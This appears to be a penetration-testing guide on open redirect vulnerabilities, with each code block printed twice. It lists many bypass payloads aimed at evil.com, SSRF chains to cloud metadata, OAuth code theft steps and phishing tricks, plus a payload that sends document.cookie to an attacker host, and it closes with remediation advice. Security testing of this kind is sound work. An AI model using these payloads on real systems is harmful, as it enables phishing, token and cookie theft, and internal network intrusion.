Open Redirect
Open redirect vulnerabilities allow attackers to redirect users to malicious websites through a trusted domain. While often dismissed as low-severity, open redirects can be chained with other attacks to steal credentials, bypass security controls, or achieve Server-Side Request Forgery (SSRF).
Why Open Redirect Matters
Open redirects enable phishing attacks, OAuth token theft, and SSRF exploitation. A trusted domain redirecting to a malicious site appears legitimate to users and security tools. When chained with other vulnerabilities, open redirects can have critical impact.
Warning
Tools & Resources
Finding Open Redirects
Common Parameter Names
# Parameters commonly used for redirects
?url=
?redirect=
?redir=
?return=
?returnUrl=
?return_url=
?returnTo=
?next=
?goto=
?target=
?dest=
?destination=
?continue=
?forward=
?forward_url=
?callback=
?callback_url=
?go=
?link=
?out=
?view=
?to=
?ref=
?reference=
?site=
?rUrl=
?redirect_uri=
?redirect_url=
?service=
?image_url=
?_next=
# Headers to test
X-Forwarded-Host:
X-Forwarded-For:
X-Original-URL:
X-Rewrite-URL:
Host:# Parameters commonly used for redirects
?url=
?redirect=
?redir=
?return=
?returnUrl=
?return_url=
?returnTo=
?next=
?goto=
?target=
?dest=
?destination=
?continue=
?forward=
?forward_url=
?callback=
?callback_url=
?go=
?link=
?out=
?view=
?to=
?ref=
?reference=
?site=
?rUrl=
?redirect_uri=
?redirect_url=
?service=
?image_url=
?_next=
# Headers to test
X-Forwarded-Host:
X-Forwarded-For:
X-Original-URL:
X-Rewrite-URL:
Host:Discovery Techniques
# Find redirect params from wayback machine
waybackurls target.com | grep -E '(url|redirect|redir|return|next|goto|target|dest)=' > redirect_params.txt
# Use ParamSpider for parameter discovery
paramspider -d target.com -o params.txt
cat params.txt | grep -E '(url|redirect|return|next)='
# Crawl with gau
gau target.com | grep -E '(url|redirect|return|next|destination)=' | sort -u
# Check robots.txt and sitemap.xml for redirect endpoints
curl -s https://target.com/robots.txt
curl -s https://target.com/sitemap.xml | grep -i redirect
# Manual fuzzing with ffuf
ffuf -u "https://target.com/redirect?url=FUZZ" -w redirect_payloads.txt -fr "error"# Find redirect params from wayback machine
waybackurls target.com | grep -E '(url|redirect|redir|return|next|goto|target|dest)=' > redirect_params.txt
# Use ParamSpider for parameter discovery
paramspider -d target.com -o params.txt
cat params.txt | grep -E '(url|redirect|return|next)='
# Crawl with gau
gau target.com | grep -E '(url|redirect|return|next|destination)=' | sort -u
# Check robots.txt and sitemap.xml for redirect endpoints
curl -s https://target.com/robots.txt
curl -s https://target.com/sitemap.xml | grep -i redirect
# Manual fuzzing with ffuf
ffuf -u "https://target.com/redirect?url=FUZZ" -w redirect_payloads.txt -fr "error"Bypass Techniques
URL Validation Bypasses
# Original blocked redirect
https://target.com/redirect?url=https://evil.com
# Double URL encoding
https://target.com/redirect?url=https%3A%2F%2Fevil.com
https://target.com/redirect?url=https%253A%252F%252Fevil.com
# Using @ symbol (userinfo bypass)
https://target.com/redirect?url=https://target.com@evil.com
https://target.com/redirect?url=https://evil.com%23@target.com
https://target.com/redirect?url=https://target.com%40evil.com
# Subdomain matching bypass
https://target.com/redirect?url=https://target.com.evil.com
https://target.com/redirect?url=https://evil-target.com
https://target.com/redirect?url=https://evilcom.target.com
# Path-based bypass (trusted domain prefix)
https://target.com/redirect?url=https://target.com/https://evil.com
https://target.com/redirect?url=https://target.com?https://evil.com
# Protocol-relative bypass
https://target.com/redirect?url=//evil.com
https://target.com/redirect?url=////evil.com
https://target.com/redirect?url=/\/evil.com
# JavaScript redirect
https://target.com/redirect?url=javascript:alert(1)
https://target.com/redirect?url=JaVaScRiPt:alert(1)
# Data URI
https://target.com/redirect?url=data:text/html,<script>location='https://evil.com'</script># Original blocked redirect
https://target.com/redirect?url=https://evil.com
# Double URL encoding
https://target.com/redirect?url=https%3A%2F%2Fevil.com
https://target.com/redirect?url=https%253A%252F%252Fevil.com
# Using @ symbol (userinfo bypass)
https://target.com/redirect?url=https://target.com@evil.com
https://target.com/redirect?url=https://evil.com%23@target.com
https://target.com/redirect?url=https://target.com%40evil.com
# Subdomain matching bypass
https://target.com/redirect?url=https://target.com.evil.com
https://target.com/redirect?url=https://evil-target.com
https://target.com/redirect?url=https://evilcom.target.com
# Path-based bypass (trusted domain prefix)
https://target.com/redirect?url=https://target.com/https://evil.com
https://target.com/redirect?url=https://target.com?https://evil.com
# Protocol-relative bypass
https://target.com/redirect?url=//evil.com
https://target.com/redirect?url=////evil.com
https://target.com/redirect?url=/\/evil.com
# JavaScript redirect
https://target.com/redirect?url=javascript:alert(1)
https://target.com/redirect?url=JaVaScRiPt:alert(1)
# Data URI
https://target.com/redirect?url=data:text/html,<script>location='https://evil.com'</script>Advanced Bypasses
# Backslash normalization (works on Windows/IIS)
https://target.com/redirect?url=https://target.com\@evil.com
https://target.com/redirect?url=https:\\evil.com
# Tab/newline/null byte injection
https://target.com/redirect?url=https://evil%09.com
https://target.com/redirect?url=https://evil%0d%0a.com
https://target.com/redirect?url=https://evil%00.com
# Unicode normalization bypasses
https://target.com/redirect?url=https://evil。com (fullwidth period)
https://target.com/redirect?url=https://evil%2fcom
https://target.com/redirect?url=https://ⓔⓥⓘⓛ.com (circled letters)
# IPv6 confusion
https://target.com/redirect?url=https://[::1]@evil.com
https://target.com/redirect?url=https://evil.com/[::1]
# CRLF injection in redirect
https://target.com/redirect?url=%0d%0aLocation:https://evil.com
# Fragment identifier abuse
https://target.com/redirect?url=https://target.com#https://evil.com
https://target.com/redirect?url=#//evil.com
# Port confusion
https://target.com/redirect?url=https://evil.com:443
https://target.com/redirect?url=https://evil.com:80@target.com
# Punycode/IDN homograph
https://target.com/redirect?url=https://tаrget.com (cyrillic 'а')# Backslash normalization (works on Windows/IIS)
https://target.com/redirect?url=https://target.com\@evil.com
https://target.com/redirect?url=https:\\evil.com
# Tab/newline/null byte injection
https://target.com/redirect?url=https://evil%09.com
https://target.com/redirect?url=https://evil%0d%0a.com
https://target.com/redirect?url=https://evil%00.com
# Unicode normalization bypasses
https://target.com/redirect?url=https://evil。com (fullwidth period)
https://target.com/redirect?url=https://evil%2fcom
https://target.com/redirect?url=https://ⓔⓥⓘⓛ.com (circled letters)
# IPv6 confusion
https://target.com/redirect?url=https://[::1]@evil.com
https://target.com/redirect?url=https://evil.com/[::1]
# CRLF injection in redirect
https://target.com/redirect?url=%0d%0aLocation:https://evil.com
# Fragment identifier abuse
https://target.com/redirect?url=https://target.com#https://evil.com
https://target.com/redirect?url=#//evil.com
# Port confusion
https://target.com/redirect?url=https://evil.com:443
https://target.com/redirect?url=https://evil.com:80@target.com
# Punycode/IDN homograph
https://target.com/redirect?url=https://tаrget.com (cyrillic 'а')Localhost/Internal Bypasses (for SSRF chains)
# Localhost bypasses
https://target.com/redirect?url=http://127.0.0.1
https://target.com/redirect?url=http://localhost
https://target.com/redirect?url=http://0.0.0.0
https://target.com/redirect?url=http://[::1]
https://target.com/redirect?url=http://127.1
https://target.com/redirect?url=http://127.0.1
https://target.com/redirect?url=http://0
# Decimal IP (2130706433 = 127.0.0.1)
https://target.com/redirect?url=http://2130706433
# Hex IP (0x7f000001 = 127.0.0.1)
https://target.com/redirect?url=http://0x7f000001
https://target.com/redirect?url=http://0x7f.0x0.0x0.0x1
# Octal IP
https://target.com/redirect?url=http://0177.0.0.1
# Mixed notation
https://target.com/redirect?url=http://127.0.0.1.xip.io
https://target.com/redirect?url=http://127.0.0.1.nip.io
# DNS rebinding services
https://target.com/redirect?url=http://spoofed.burpcollaborator.net
# Internal network ranges
https://target.com/redirect?url=http://10.0.0.1
https://target.com/redirect?url=http://172.16.0.1
https://target.com/redirect?url=http://192.168.1.1
https://target.com/redirect?url=http://169.254.169.254 # AWS metadata# Localhost bypasses
https://target.com/redirect?url=http://127.0.0.1
https://target.com/redirect?url=http://localhost
https://target.com/redirect?url=http://0.0.0.0
https://target.com/redirect?url=http://[::1]
https://target.com/redirect?url=http://127.1
https://target.com/redirect?url=http://127.0.1
https://target.com/redirect?url=http://0
# Decimal IP (2130706433 = 127.0.0.1)
https://target.com/redirect?url=http://2130706433
# Hex IP (0x7f000001 = 127.0.0.1)
https://target.com/redirect?url=http://0x7f000001
https://target.com/redirect?url=http://0x7f.0x0.0x0.0x1
# Octal IP
https://target.com/redirect?url=http://0177.0.0.1
# Mixed notation
https://target.com/redirect?url=http://127.0.0.1.xip.io
https://target.com/redirect?url=http://127.0.0.1.nip.io
# DNS rebinding services
https://target.com/redirect?url=http://spoofed.burpcollaborator.net
# Internal network ranges
https://target.com/redirect?url=http://10.0.0.1
https://target.com/redirect?url=http://172.16.0.1
https://target.com/redirect?url=http://192.168.1.1
https://target.com/redirect?url=http://169.254.169.254 # AWS metadataChaining Attacks
OAuth Token Theft
# OAuth flow with open redirect vulnerability
# 1. Normal OAuth flow:
# User → Authorization Server → Callback URL → Application
# 2. Attack scenario:
# Find open redirect on trusted callback domain
https://app.target.com/redirect?url=https://evil.com
# 3. Craft malicious OAuth link
https://auth.target.com/oauth/authorize?
client_id=legitimate_client&
redirect_uri=https://app.target.com/redirect?url=https://evil.com&
response_type=code&
scope=read
# 4. Victim clicks link:
# - Authenticates on legitimate auth server
# - Redirected to app.target.com with auth code
# - app.target.com redirects to evil.com with auth code
# - Attacker captures authorization code
# 5. Attacker exchanges code for token
curl -X POST https://auth.target.com/oauth/token \
-d "grant_type=authorization_code" \
-d "code=CAPTURED_CODE" \
-d "client_id=legitimate_client" \
-d "redirect_uri=https://app.target.com/callback"# OAuth flow with open redirect vulnerability
# 1. Normal OAuth flow:
# User → Authorization Server → Callback URL → Application
# 2. Attack scenario:
# Find open redirect on trusted callback domain
https://app.target.com/redirect?url=https://evil.com
# 3. Craft malicious OAuth link
https://auth.target.com/oauth/authorize?
client_id=legitimate_client&
redirect_uri=https://app.target.com/redirect?url=https://evil.com&
response_type=code&
scope=read
# 4. Victim clicks link:
# - Authenticates on legitimate auth server
# - Redirected to app.target.com with auth code
# - app.target.com redirects to evil.com with auth code
# - Attacker captures authorization code
# 5. Attacker exchanges code for token
curl -X POST https://auth.target.com/oauth/token \
-d "grant_type=authorization_code" \
-d "code=CAPTURED_CODE" \
-d "client_id=legitimate_client" \
-d "redirect_uri=https://app.target.com/callback"SSRF via Open Redirect
# Many SSRF filters allow internal requests to trusted domains
# If that domain has an open redirect, it can be chained
# 1. SSRF filter allows: target.com
# 2. Open redirect found: target.com/redirect?url=
# 3. Chain to access internal resources:
# Access AWS metadata
https://vulnerable.com/fetch?url=https://target.com/redirect?url=http://169.254.169.254/latest/meta-data/
# Access internal admin panel
https://vulnerable.com/fetch?url=https://target.com/redirect?url=http://internal-admin.local/
# Bypass URL-based SSRF protections
https://vulnerable.com/proxy?url=https://allowed-domain.com/redirect?goto=http://localhost:8080/admin
# Chain multiple redirects
https://site-a.com/redirect?url=https://site-b.com/redirect?url=http://internal/# Many SSRF filters allow internal requests to trusted domains
# If that domain has an open redirect, it can be chained
# 1. SSRF filter allows: target.com
# 2. Open redirect found: target.com/redirect?url=
# 3. Chain to access internal resources:
# Access AWS metadata
https://vulnerable.com/fetch?url=https://target.com/redirect?url=http://169.254.169.254/latest/meta-data/
# Access internal admin panel
https://vulnerable.com/fetch?url=https://target.com/redirect?url=http://internal-admin.local/
# Bypass URL-based SSRF protections
https://vulnerable.com/proxy?url=https://allowed-domain.com/redirect?goto=http://localhost:8080/admin
# Chain multiple redirects
https://site-a.com/redirect?url=https://site-b.com/redirect?url=http://internal/XSS via Open Redirect
# JavaScript protocol redirects
https://target.com/redirect?url=javascript:alert(document.domain)
# Data URI with HTML
https://target.com/redirect?url=data:text/html,<script>alert(1)</script>
https://target.com/redirect?url=data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
# Redirect to XSS vulnerable page
https://target.com/redirect?url=/page?param=<script>alert(1)</script>
# DOM-based redirect exploitation
# If redirect is done via JavaScript:
# location.href = params.url
# Inject payload:
https://target.com/redirect?url=javascript:fetch('https://evil.com/steal?c='+document.cookie)# JavaScript protocol redirects
https://target.com/redirect?url=javascript:alert(document.domain)
# Data URI with HTML
https://target.com/redirect?url=data:text/html,<script>alert(1)</script>
https://target.com/redirect?url=data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
# Redirect to XSS vulnerable page
https://target.com/redirect?url=/page?param=<script>alert(1)</script>
# DOM-based redirect exploitation
# If redirect is done via JavaScript:
# location.href = params.url
# Inject payload:
https://target.com/redirect?url=javascript:fetch('https://evil.com/steal?c='+document.cookie)Phishing Enhancement
# Open redirect makes phishing links more convincing
# 1. Create phishing page that mimics target login
# Host at: https://evil.com/login.html
# 2. Use open redirect to make link appear legitimate
https://legitimate-company.com/redirect?url=https://evil.com/login.html
# 3. URL appears to be from legitimate-company.com
# Users are more likely to enter credentials
# Combine with URL shorteners for extra obfuscation
# bit.ly/xyz → https://company.com/redirect?url=https://evil.com
# Post-login redirect attack
# Legitimate login → Redirect to fake "session expired" page
# User re-enters credentials on phishing page# Open redirect makes phishing links more convincing
# 1. Create phishing page that mimics target login
# Host at: https://evil.com/login.html
# 2. Use open redirect to make link appear legitimate
https://legitimate-company.com/redirect?url=https://evil.com/login.html
# 3. URL appears to be from legitimate-company.com
# Users are more likely to enter credentials
# Combine with URL shorteners for extra obfuscation
# bit.ly/xyz → https://company.com/redirect?url=https://evil.com
# Post-login redirect attack
# Legitimate login → Redirect to fake "session expired" page
# User re-enters credentials on phishing pageHeader-Based Redirects
# Test Host header injection
GET /redirect HTTP/1.1
Host: evil.com
# May redirect to evil.com
# X-Forwarded-Host injection
GET / HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com
# Multiple Host headers
GET / HTTP/1.1
Host: target.com
Host: evil.com
# Absolute URL in request line
GET https://evil.com/ HTTP/1.1
Host: target.com
# X-Original-URL / X-Rewrite-URL
GET / HTTP/1.1
Host: target.com
X-Original-URL: https://evil.com
X-Rewrite-URL: /redirect?url=https://evil.com
# Referer-based redirects
GET /login HTTP/1.1
Host: target.com
Referer: https://evil.com
# Some apps redirect back to referer after login# Test Host header injection
GET /redirect HTTP/1.1
Host: evil.com
# May redirect to evil.com
# X-Forwarded-Host injection
GET / HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com
# Multiple Host headers
GET / HTTP/1.1
Host: target.com
Host: evil.com
# Absolute URL in request line
GET https://evil.com/ HTTP/1.1
Host: target.com
# X-Original-URL / X-Rewrite-URL
GET / HTTP/1.1
Host: target.com
X-Original-URL: https://evil.com
X-Rewrite-URL: /redirect?url=https://evil.com
# Referer-based redirects
GET /login HTTP/1.1
Host: target.com
Referer: https://evil.com
# Some apps redirect back to referer after loginAutomated Testing
# OpenRedireX automated testing
echo "https://target.com/redirect?url=" | openredirex -p payloads.txt
# Create payload list
cat > redirect_payloads.txt << EOF
https://evil.com
//evil.com
https://target.com@evil.com
https://evil.com%23@target.com
https://target.com.evil.com
javascript:alert(1)
//evil.com/%2f%2e%2e
/\evil.com
EOF
# Batch testing with qsreplace
cat urls.txt | qsreplace 'https://evil.com' | httpx -silent -location
# ffuf fuzzing
ffuf -u "FUZZ" -w redirect_urls.txt -w redirect_payloads.txt:PAYLOAD \
-mode clusterbomb \
-mr "Location:.*evil\.com"
# Python testing script
import requests
payloads = [
"https://evil.com",
"//evil.com",
"https://target.com@evil.com",
"https://target.com%23@evil.com",
]
base_url = "https://target.com/redirect?url="
for payload in payloads:
r = requests.get(base_url + payload, allow_redirects=False)
if 'evil.com' in r.headers.get('Location', ''):
print(f"[+] Vulnerable: {payload}")
print(f" Redirects to: {r.headers['Location']}")# OpenRedireX automated testing
echo "https://target.com/redirect?url=" | openredirex -p payloads.txt
# Create payload list
cat > redirect_payloads.txt << EOF
https://evil.com
//evil.com
https://target.com@evil.com
https://evil.com%23@target.com
https://target.com.evil.com
javascript:alert(1)
//evil.com/%2f%2e%2e
/\evil.com
EOF
# Batch testing with qsreplace
cat urls.txt | qsreplace 'https://evil.com' | httpx -silent -location
# ffuf fuzzing
ffuf -u "FUZZ" -w redirect_urls.txt -w redirect_payloads.txt:PAYLOAD \
-mode clusterbomb \
-mr "Location:.*evil\.com"
# Python testing script
import requests
payloads = [
"https://evil.com",
"//evil.com",
"https://target.com@evil.com",
"https://target.com%23@evil.com",
]
base_url = "https://target.com/redirect?url="
for payload in payloads:
r = requests.get(base_url + payload, allow_redirects=False)
if 'evil.com' in r.headers.get('Location', ''):
print(f"[+] Vulnerable: {payload}")
print(f" Redirects to: {r.headers['Location']}")Testing Checklist
🔍 Discovery
- ○ Enumerate redirect parameters (url, next, return, etc.)
- ○ Check login/logout redirect flows
- ○ Test OAuth callback URLs
- ○ Search wayback machine for redirect endpoints
- ○ Check header-based redirects
🔓 Basic Testing
- ○ Test with external domain (https://evil.com)
- ○ Try protocol-relative URLs (//evil.com)
- ○ Test @ symbol bypass
- ○ Try subdomain confusion
- ○ Test URL encoding variations
🔗 Chaining
- ○ Test OAuth token theft scenarios
- ○ Chain with SSRF vulnerabilities
- ○ Try JavaScript protocol for XSS
- ○ Evaluate phishing impact
- ○ Test internal network access
💥 Advanced Bypasses
- ○ Unicode/punycode homograph attacks
- ○ CRLF injection in redirect
- ○ Tab/newline/null byte injection
- ○ IP address format variations
- ○ Document all successful bypasses
Information
Practice Labs
🛡️ Remediation & Defense
Defensive Measures
URL Validation
- • Maintain an allowlist of permitted redirect destinations
- • Validate the scheme is
https://only (blockjavascript:,data:) - • Parse and compare the hostname against trusted domains
- • Reject URLs with authentication segments (
user@host)
Architecture Controls
- • Use indirect references (map IDs to URLs server-side)
- • Implement an interstitial warning page for external redirects
- • Sign redirect URLs with HMAC to prevent tampering
- • Avoid user-controlled redirect parameters entirely where possible
CWE References: CWE-601 (URL Redirection to Untrusted Site)
Evidence Collection
Redirect Proof: Request with manipulated redirect parameter and Burp showing 302 response with Location header pointing to attacker-controlled domain
Phishing Chain: Full URL that an attacker would send to a victim — starting from the trusted domain and redirecting to a credential harvesting page
SSRF Chain: If chained with SSRF — show the redirect being followed by the server to access internal resources
OAuth Chain: If chained with OAuth — show authorization code or token being leaked to the attacker's redirect URI
CVSS Range: Standalone open redirect: 3.1–4.3 (Low/Medium) | Chained with OAuth token theft: 7.5–8.0 | Chained with SSRF: 7.5–9.1
False Positive Identification
- Allowlisted domains only: If the redirect only works for a known set of trusted domains, it's not exploitable — check for subdomain wildcards or path-based bypasses before dismissing.
- Relative paths only: Redirects that only accept relative paths (/dashboard, /profile) can't redirect off-domain unless you find a path injection bypass.
- Low standalone impact: Open redirect alone is typically Low severity — always attempt to chain it with OAuth, SSRF, or phishing for higher impact demonstration.
- Client-side redirect: JavaScript-based redirects (window.location) are less impactful than server-side 302 redirects since they don't carry authentication headers. Note the redirect type.